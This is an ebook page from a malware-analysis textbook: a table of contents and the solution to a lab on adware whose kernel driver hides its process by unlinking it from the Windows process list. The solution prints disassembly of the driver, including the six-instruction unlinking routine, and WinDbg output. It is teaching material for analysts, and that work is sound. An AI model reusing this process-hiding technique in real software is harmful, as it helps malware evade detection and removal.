Table of Contents for
Practical Malware Analysis

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Practical Malware Analysis by Andrew Honig Published by No Starch Press, 2012
  1. Cover
  2. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
  3. Praise for Practical Malware Analysis
  4. Warning
  5. About the Authors
  6. About the Technical Reviewer
  7. About the Contributing Authors
  8. Foreword
  9. Acknowledgments
  10. Individual Thanks
  11. Introduction
  12. What Is Malware Analysis?
  13. Prerequisites
  14. Practical, Hands-On Learning
  15. What’s in the Book?
  16. 0. Malware Analysis Primer
  17. The Goals of Malware Analysis
  18. Malware Analysis Techniques
  19. Types of Malware
  20. General Rules for Malware Analysis
  21. I. Basic Analysis
  22. 1. Basic Static Techniques
  23. Antivirus Scanning: A Useful First Step
  24. Hashing: A Fingerprint for Malware
  25. Finding Strings
  26. Packed and Obfuscated Malware
  27. Portable Executable File Format
  28. Linked Libraries and Functions
  29. Static Analysis in Practice
  30. The PE File Headers and Sections
  31. Conclusion
  32. Labs
  33. 2. Malware Analysis in Virtual Machines
  34. The Structure of a Virtual Machine
  35. Creating Your Malware Analysis Machine
  36. Using Your Malware Analysis Machine
  37. The Risks of Using VMware for Malware Analysis
  38. Record/Replay: Running Your Computer in Reverse
  39. Conclusion
  40. 3. Basic Dynamic Analysis
  41. Sandboxes: The Quick-and-Dirty Approach
  42. Running Malware
  43. Monitoring with Process Monitor
  44. Viewing Processes with Process Explorer
  45. Comparing Registry Snapshots with Regshot
  46. Faking a Network
  47. Packet Sniffing with Wireshark
  48. Using INetSim
  49. Basic Dynamic Tools in Practice
  50. Conclusion
  51. Labs
  52. II. Advanced Static Analysis
  53. 4. A Crash Course in x86 Disassembly
  54. Levels of Abstraction
  55. Reverse-Engineering
  56. The x86 Architecture
  57. Conclusion
  58. 5. IDA Pro
  59. Loading an Executable
  60. The IDA Pro Interface
  61. Using Cross-References
  62. Analyzing Functions
  63. Using Graphing Options
  64. Enhancing Disassembly
  65. Extending IDA with Plug-ins
  66. Conclusion
  67. Labs
  68. 6. Recognizing C Code Constructs in Assembly
  69. Global vs. Local Variables
  70. Disassembling Arithmetic Operations
  71. Recognizing if Statements
  72. Recognizing Loops
  73. Understanding Function Call Conventions
  74. Analyzing switch Statements
  75. Disassembling Arrays
  76. Identifying Structs
  77. Analyzing Linked List Traversal
  78. Conclusion
  79. Labs
  80. 7. Analyzing Malicious Windows Programs
  81. The Windows API
  82. The Windows Registry
  83. Networking APIs
  84. Following Running Malware
  85. Kernel vs. User Mode
  86. The Native API
  87. Conclusion
  88. Labs
  89. III. Advanced Dynamic Analysis
  90. 8. Debugging
  91. Source-Level vs. Assembly-Level Debuggers
  92. Kernel vs. User-Mode Debugging
  93. Using a Debugger
  94. Exceptions
  95. Modifying Execution with a Debugger
  96. Modifying Program Execution in Practice
  97. Conclusion
  98. 9. OllyDbg
  99. Loading Malware
  100. The OllyDbg Interface
  101. Memory Map
  102. Viewing Threads and Stacks
  103. Executing Code
  104. Breakpoints
  105. Loading DLLs
  106. Tracing
  107. Exception Handling
  108. Patching
  109. Analyzing Shellcode
  110. Assistance Features
  111. Plug-ins
  112. Scriptable Debugging
  113. Conclusion
  114. Labs
  115. 10. Kernel Debugging with WinDbg
  116. Drivers and Kernel Code
  117. Setting Up Kernel Debugging
  118. Using WinDbg
  119. Microsoft Symbols
  120. Kernel Debugging in Practice
  121. Rootkits
  122. Loading Drivers
  123. Kernel Issues for Windows Vista, Windows 7, and x64 Versions
  124. Conclusion
  125. Labs
  126. IV. Malware Functionality
  127. 11. Malware Behavior
  128. Downloaders and Launchers
  129. Backdoors
  130. Credential Stealers
  131. Persistence Mechanisms
  132. Privilege Escalation
  133. Covering Its Tracks—User-Mode Rootkits
  134. Conclusion
  135. Labs
  136. 12. Covert Malware Launching
  137. Launchers
  138. Process Injection
  139. Process Replacement
  140. Hook Injection
  141. Detours
  142. APC Injection
  143. Conclusion
  144. Labs
  145. 13. Data Encoding
  146. The Goal of Analyzing Encoding Algorithms
  147. Simple Ciphers
  148. Common Cryptographic Algorithms
  149. Custom Encoding
  150. Decoding
  151. Conclusion
  152. Labs
  153. 14. Malware-Focused Network Signatures
  154. Network Countermeasures
  155. Safely Investigate an Attacker Online
  156. Content-Based Network Countermeasures
  157. Combining Dynamic and Static Analysis Techniques
  158. Understanding the Attacker’s Perspective
  159. Conclusion
  160. Labs
  161. V. Anti-Reverse-Engineering
  162. 15. Anti-Disassembly
  163. Understanding Anti-Disassembly
  164. Defeating Disassembly Algorithms
  165. Anti-Disassembly Techniques
  166. Obscuring Flow Control
  167. Thwarting Stack-Frame Analysis
  168. Conclusion
  169. Labs
  170. 16. Anti-Debugging
  171. Windows Debugger Detection
  172. Identifying Debugger Behavior
  173. Interfering with Debugger Functionality
  174. Debugger Vulnerabilities
  175. Conclusion
  176. Labs
  177. 17. Anti-Virtual Machine Techniques
  178. VMware Artifacts
  179. Vulnerable Instructions
  180. Tweaking Settings
  181. Escaping the Virtual Machine
  182. Conclusion
  183. Labs
  184. 18. Packers and Unpacking
  185. Packer Anatomy
  186. Identifying Packed Programs
  187. Unpacking Options
  188. Automated Unpacking
  189. Manual Unpacking
  190. Tips and Tricks for Common Packers
  191. Analyzing Without Fully Unpacking
  192. Packed DLLs
  193. Conclusion
  194. Labs
  195. VI. Special Topics
  196. 19. Shellcode Analysis
  197. Loading Shellcode for Analysis
  198. Position-Independent Code
  199. Identifying Execution Location
  200. Manual Symbol Resolution
  201. A Full Hello World Example
  202. Shellcode Encodings
  203. NOP Sleds
  204. Finding Shellcode
  205. Conclusion
  206. Labs
  207. 20. C++ Analysis
  208. Object-Oriented Programming
  209. Virtual vs. Nonvirtual Functions
  210. Creating and Destroying Objects
  211. Conclusion
  212. Labs
  213. 21. 64-Bit Malware
  214. Why 64-Bit Malware?
  215. Differences in x64 Architecture
  216. Windows 32-Bit on Windows 64-Bit
  217. 64-Bit Hints at Malware Functionality
  218. Conclusion
  219. Labs
  220. A. Important Windows Functions
  221. B. Tools for Malware Analysis
  222. C. Solutions to Labs
  223. Lab 1-1 Solutions
  224. Lab 1-2 Solutions
  225. Lab 1-3 Solutions
  226. Lab 1-4 Solutions
  227. Lab 3-1 Solutions
  228. Lab 3-2 Solutions
  229. Lab 3-3 Solutions
  230. Lab 3-4 Solutions
  231. Lab 5-1 Solutions
  232. Lab 6-1 Solutions
  233. Lab 6-2 Solutions
  234. Lab 6-3 Solutions
  235. Lab 6-4 Solutions
  236. Lab 7-1 Solutions
  237. Lab 7-2 Solutions
  238. Lab 7-3 Solutions
  239. Lab 9-1 Solutions
  240. Lab 9-2 Solutions
  241. Lab 9-3 Solutions
  242. Lab 10-1 Solutions
  243. Lab 10-2 Solutions
  244. Lab 10-3 Solutions
  245. Lab 11-1 Solutions
  246. Lab 11-2 Solutions
  247. Lab 11-3 Solutions
  248. Lab 12-1 Solutions
  249. Lab 12-2 Solutions
  250. Lab 12-3 Solutions
  251. Lab 12-4 Solutions
  252. Lab 13-1 Solutions
  253. Lab 13-2 Solutions
  254. Lab 13-3 Solutions
  255. Lab 14-1 Solutions
  256. Lab 14-2 Solutions
  257. Lab 14-3 Solutions
  258. Lab 15-1 Solutions
  259. Lab 15-2 Solutions
  260. Lab 15-3 Solutions
  261. Lab 16-1 Solutions
  262. Lab 16-2 Solutions
  263. Lab 16-3 Solutions
  264. Lab 17-1 Solutions
  265. Lab 17-2 Solutions
  266. Lab 17-3 Solutions
  267. Lab 18-1 Solutions
  268. Lab 18-2 Solutions
  269. Lab 18-3 Solutions
  270. Lab 18-4 Solutions
  271. Lab 18-5 Solutions
  272. Lab 19-1 Solutions
  273. Lab 19-2 Solutions
  274. Lab 19-3 Solutions
  275. Lab 20-1 Solutions
  276. Lab 20-2 Solutions
  277. Lab 20-3 Solutions
  278. Lab 21-1 Solutions
  279. Lab 21-2 Solutions
  280. Index
  281. Index
  282. Index
  283. Index
  284. Index
  285. Index
  286. Index
  287. Index
  288. Index
  289. Index
  290. Index
  291. Index
  292. Index
  293. Index
  294. Index
  295. Index
  296. Index
  297. Index
  298. Index
  299. Index
  300. Index
  301. Index
  302. Index
  303. Index
  304. Index
  305. Index
  306. Index
  307. Updates
  308. About the Authors
  309. Copyright

Lab 10-3 Solutions

Short Answers

  1. The user-space program loads the driver and then pops up an advertisement every 30 seconds. The driver hides the process by unlinking the Process Environment Block (PEB) from the system’s linked list.

  2. Once this program is running, there is no easy way to stop it without rebooting.

  3. The kernel component responds to any DeviceIoControl request by unlinking the process that made the request from the linked list of processes in order to hide the process from the user.

Detailed Analysis

We begin with some basic static analysis on the files. When we analyze the driver file, we see the following imports:

IofCompleteRequest
IoDeleteDevice
IoDeleteSymbolicLink
RtlInitUnicodeString
IoGetCurrentProcess
IoCreateSymbolicLink
IoCreateDevice
KeTickCount

The import for IoGetCurrentProcess is the only one that provides much information. (The other imports are simply required by any driver that creates a device that is accessible from user space.) The call to IoGetCurrentProcess tells us that this driver either modifies the running process or requires information about it.

Next, we copy the driver file into C:\Windows\System32 and double-click the executable to run it. We see a pop-up ad, which is the same as the one in Lab 7-2 Solutions. We now examine what it did to our system. First, we check to see if the service was successfully installed and verify that the malicious .sys file is used as part of the service. Simultaneously, we notice that after about 30 seconds, the program pops up the advertisement again and does so about once every 30 seconds. Opening Task Manager in an effort to terminate the program, we see that the program isn’t listed. And it’s not listed in Process Explorer either.

The program continues to open advertisements, and there’s no easy way to stop it. It’s not in a process listing, so we can’t stop it by killing the process. Nor can we attach a debugger to the process because the program doesn’t show up in the process listing for WinDbg or OllyDbg. At this point, our only choice is to revert to our most recent snapshot or reboot and hope that the program isn’t persistent. It’s not, so a reboot stops it.

Analyzing the Executable in IDA Pro

Now to IDA Pro. Navigating to WinMain and examining the functions it calls, we see the following:

OpenSCManager
CreateService
StartService
CloseServiceHandle
CreateFile
DeviceIoControl
OleInitialize
CoCreateInstance
VariantInit
SysAllocString
ecx+0x2c
Sleep
OleUninitialize

WinMain can be logically broken into two sections. The first section, consisting of OpenSCManager through DeviceIoControl, includes the functions to load and send a request to the kernel driver. The second section consists of the remaining functions, which show the usage of a COM object. At this point, we don’t know the target of the call to ecx+0x2c, but we’ll come back to that later.

Looking at the calls in detail, we see that the program creates a service called Process Helper, which loads the kernel driver C:\Windows\System32\Lab10-03.sys. It then starts the Process Helper service, which loads Lab10-03.sys into the kernel and opens a handle to \\.\ProcHelper, which opens a handle to the kernel device created by the ProcHelper driver.

We need to look carefully at the call to DeviceIoControl, shown in Example C-35, because the input and output parameters passed as arguments to it will be sent to the kernel code, which we will need to analyze separately.

Example C-35. A call to DeviceIoControl in Lab10-03.exe to pass a request to the Lab10-03.sys driver

0040108C                 lea     ecx, [esp+2Ch+BytesReturned]
00401090                 push    0               ; lpOverlapped
00401092                 push    ecx             ; lpBytesReturned
00401093                 push    0               ; nOutBufferSize
00401095                 push   0               ; lpOutBuffer
00401097                 push    0               ; nInBufferSize
00401099                 push   0               ; lpInBuffer
0040109B                 push   0ABCDEF01h      ; dwIoControlCode
004010A0                 push    eax             ; hDevice
004010A1                 call    ds:DeviceIoControl

Notice that the call to DeviceIoControl has lpOutBuffer at and lpInBuffer at set to NULL. This is unusual, and it means that this request sends no information to the kernel driver and that the kernel driver sends no information back. Also notice that the dwIoControlCode of 0xABCDEF01 at is passed to the kernel driver. We’ll revisit this when we look at the kernel driver.

The remainder of this file is nearly identical to the COM example in Lab 7-2 Solutions, except that the call to the navigate function is inside a loop that runs continuously and sleeps for 30 seconds between each call.

Analyzing the Driver

Next, we open the kernel file with IDA Pro. As shown in Example C-36, we see that it calls IoCreateDevice at to create a device named \Device\ProcHelper at .

Example C-36. Lab10-03.sys creating a device that is accessible from user space

0001071A  push    offset aDeviceProchelp ; "\\Device\\ProcHelper"
0001071F   lea     eax, [ebp+var_C]
00010722   push    eax
00010723   call    edi ; RtlInitUnicodeString
00010725   mov     esi, [ebp+arg_0]
00010728   lea     eax, [ebp+var_4]
0001072B   push    eax
0001072C   push    0
0001072E   push    100h
00010733   push    22h
00010735   lea     eax, [ebp+var_C]
00010738   push    eax
00010739   push    0
0001073B   push    esi
0001073C  call    ds:IoCreateDevice

As shown in Example C-37, the function then calls IoCreateSymbolicLink at to create a symbolic link named \DosDevices\ProcHelper at for the user-space program to access.

Example C-37. Lab10-03.sys creating a symbolic link to make it easier for user-space applications to access a handle to the device

00010751  push    offset aDosdevicesPr_0 ; "\\DosDevices\\ProcHelper"
00010756   lea     eax, [ebp+var_14]
00010759   push    eax
0001075A   mov     dword ptr [esi+70h], offset loc_10666
00010761   mov     dword ptr [esi+34h], offset loc_1062A
00010768   call    edi ; RtlInitUnicodeString
0001076A   lea     eax, [ebp+var_C]
0001076D   push    eax
0001076E   lea     eax, [ebp+var_14]
00010771   push    eax
00010772  call    ds:IoCreateSymbolicLink

Finding the Driver in Memory with WinDbg

We can either run the malware or just start the service to load our kernel driver into memory. We know that the device object is at \Device\ProcHelper, so we start with it. In order to find the function in ProcHelper that is executed, we must find the driver object, which can be done with the !devobj command, as shown in Example C-38. The output of !devobj tells us where the DriverObject at is stored.

Example C-38. Finding the device object for the ProcHelper driver

kd> !devobj ProcHelper
Device object (82af64d0) is for:
 ProcHelper \Driver\Process Helper DriverObject 82716a98
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000040
Dacl e15b15cc DevExt 00000000 DevObjExt 82af6588
ExtensionFlags (0000000000)
Device queue is not busy.

The DriverObject contains pointers to all of the functions that will be called when a user-space program accesses the device object. The DriverObject is stored in a data structure called DRIVER_OBJECT. We can use the dt command to view the driver object with labels, as shown in Example C-39.

Example C-39. Examining the driver object for Lab10-03.sys using WinDbg

kd> dt nt!_DRIVER_OBJECT 82716a98
   +0x000 Type             : 4
   +0x002 Size             : 168
   +0x004 DeviceObject     : 0x82af64d0 _DEVICE_OBJECT
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xf7c26000
   +0x010 DriverSize       : 0xe00
   +0x014 DriverSection    : 0x827bd598
   +0x018 DriverExtension  : 0x82716b40 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "\Driver\Process Helper"
   +0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\
                                                HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch   : (null)
   +0x02c DriverInit       : 0xf7c267cd     long  +0
   +0x030 DriverStartIo    : (null)
   +0x034 DriverUnload     : 0xf7c2662a     void  +0
   +0x038 MajorFunction    : [28] 0xf7c26606     long  +0

This code contains several function pointers of note. These include DriverInit, the DriverEntry routine we analyzed in IDA Pro, and DriverUnload, which is called when this driver is unloaded. When we look at DriverUnload in IDA Pro, we see that it deletes the symbolic link and the device created by the DriverEntry program.

Analyzing the Functions of the Major Function Table

Next, we examine the major function table, which is often where the most interesting driver code is implemented. Windows XP allows 0x1C possible major function codes, so we view the entries in the major function table using the dd command:

kd> dd 82716a98+0x38 L1C
82716ad0    f7c26606 804f354a f7c26606 804f354a
82716ae0    804f354a 804f354a 804f354a 804f354a
82716af0    804f354a 804f354a 804f354a 804f354a
82716b00    804f354a 804f354a f7c26666 804f354a
82716b10    804f354a 804f354a 804f354a 804f354a
82716b20    804f354a 804f354a 804f354a 804f354a
82716b30    804f354a 804f354a 804f354a 804f354a

Each entry in the table represents a different type of request that the driver can handle, but as you can see, most of the entries in the table are for the same function at 0X804F354A. All of the entries in the table with the value 0X804F354A represent a request type that the driver does not handle. To verify this, we need to find out what that function does. We could view its disassembly, but because it’s a Windows function, its name should tell us what it does, as shown here:

kd> ln 804f354a
(804f354a)   nt!IopInvalidDeviceRequest   |  (804f3580)
nt!IopGetDeviceAttachmentBase
Exact matches:
    nt!IopInvalidDeviceRequest = <no type information>

The function at 0X804F354A is named IopInvalidDeviceRequest, which means that it handles invalid requests that this driver doesn’t handle. The remaining functions from the major function table at offsets 0, 2, and 0xe contain the functionality that we are interested in. Examining wdm.h, we find that offsets of 0, 2, and 0xe store the functions for the Create, Close, and DeviceIoControl functions.

First, we look at the Create and Close functions at offsets 0 and 2 in the major function table. We notice that both entries in the major function table point to the same function (0xF7C26606). Looking at that function, we see that it simply calls IofCompleteRequest and then returns. This tells the OS that the request was successful, but does nothing else. The only remaining function in the major function table is the one that handles DeviceIoControl requests, which is the most interesting.

Looking at the DeviceIoControl function, we see that it manipulates the PEB of the current process. Example C-40 shows the code that handles DeviceIoControl.

Example C-40. The driver code that handles DeviceIoControl requests

00010666                 mov      edi, edi
00010668                 push     ebp
00010669                 mov      ebp, esp
0001066B                 call    ds:IoGetCurrentProcess
00010671                 mov      ecx, [eax+8Ch]
00010677                 add     eax, 88h
0001067C                 mov      edx, [eax]
0001067E                 mov      [ecx], edx
00010680                 mov      ecx, [eax]
00010682                 mov     eax, [eax+4]
00010685                 mov      [ecx+4], eax
00010688                 mov      ecx, [ebp+Irp]  ; Irp
0001068B                 and      dword ptr [ecx+18h], 0
0001068F                 and      dword ptr [ecx+1Ch], 0
00010693                 xor      dl, dl          ; PriorityBoost
00010695                 call     ds:IofCompleteRequest
0001069B                 xor      eax, eax
0001069D                 pop      ebp
0001069E                 retn     8

The first thing the DeviceIoControl function does is call IoGetCurrentProcess at , which returns the EPROCESS structure of the process that issued the call to DeviceIoControl. The function then accesses the data at an offset of 0x88 at , and then accesses the next DWORD at offset 0x8C at .

We use the dt command to discover that LIST_ENTRY is stored at offsets 0x88 and 0x8C in the PEB structure, as shown in Example C-41 at .

Example C-41. Examining the EPROCESS structure with WinDbg

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
  +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
...

Now that we know that function is accessing the LIST_ENTRY structure, we look closely at how LIST_ENTRY is being accessed. The LIST_ENTRY structure is a double-linked list with two values: the first is BLINK, which points to the previous entry in the list, and the second is FLINK, which points to the next entry in the list. We see that it is not only reading the LIST_ENTRY structure, but also changing structures, as shown in Example C-42.

Example C-42. DeviceIoControl code that modifies the EPROCESS structure

00010671                mov     ecx, [eax+8Ch]
00010677                 add     eax, 88h
0001067C                mov     edx, [eax]
0001067E                mov     [ecx], edx
00010680                mov     ecx, [eax]
00010682                mov     eax, [eax+4]
00010685                mov     [ecx+4], eax

The instruction at obtains a pointer to the next entry in the list. The instruction at obtains a pointer to the previous entry in the list. The instruction at overwrites the BLINK pointer of the next entry so that it points to the previous entry. Prior to , the BLINK pointer of the next entry pointed to the current entry. The instruction at overwrites the BLINK pointer so that it skips over the current process. The instructions at , , and perform the same steps, except to overwrite the FLINK pointer of the previous entry in the list to skip the current entry.

Rather than change the EPROCESS structure of the current process, the code in Example C-42 changes the EPROCESS structure of the process in front of it and behind it in the linked list of processes. These six instructions hide the current process by unlinking it from the linked list of loaded processes, as shown in Figure C-34.

A process being removed from the process list so that it’s hidden from tools such as Task Manager

Figure C-34. A process being removed from the process list so that it’s hidden from tools such as Task Manager

When the OS is running normally, each process has a pointer to the process before and after it. However, in Figure C-34, Process 2 has been hidden by this rootkit. When the OS iterates over the linked list of processes, the hidden process is always skipped.

You might wonder how this process continues to run without any problems, even though it’s not in the OS’s list of processes. To answer this, remember that a process is simply a container for various threads to run inside. The threads are scheduled to execute on the CPU. As long as the threads are still properly accounted for by the OS, they will be scheduled, and the process will continue to run as normal.